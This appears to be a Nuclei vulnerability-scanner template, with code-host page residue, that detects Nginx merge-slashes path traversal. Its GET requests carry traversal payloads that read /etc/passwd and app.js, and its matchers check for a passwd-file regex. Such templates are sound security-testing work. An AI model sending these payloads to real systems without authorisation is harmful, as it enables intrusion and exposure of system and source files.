34 lines
1.1 KiB
YAML
34 lines
1.1 KiB
YAML
id: nginx-merge-slashes-path-traversal
|
|
|
|
info:
|
|
name: Nginx Merge Slashes Path Traversal
|
|
author: dhiyaneshDk
|
|
severity: medium
|
|
description: A vulnerability in the remote Nginx server could cause the server to merge slashslash together causing what should have protected the web site from a directory traversal vulnerability into a vulnerable server.
|
|
reference:
|
|
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
|
|
- https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
|
|
tags: exposure,config,lfi,nginx
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}///////../../../etc/passwd"
|
|
- "{{BaseURL}}/static///////../../../../etc/passwd"
|
|
- "{{BaseURL}}///../app.js"
|
|
|
|
stop-at-first-match: true
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: regex
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
- "app.listen"
|
|
part: body
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|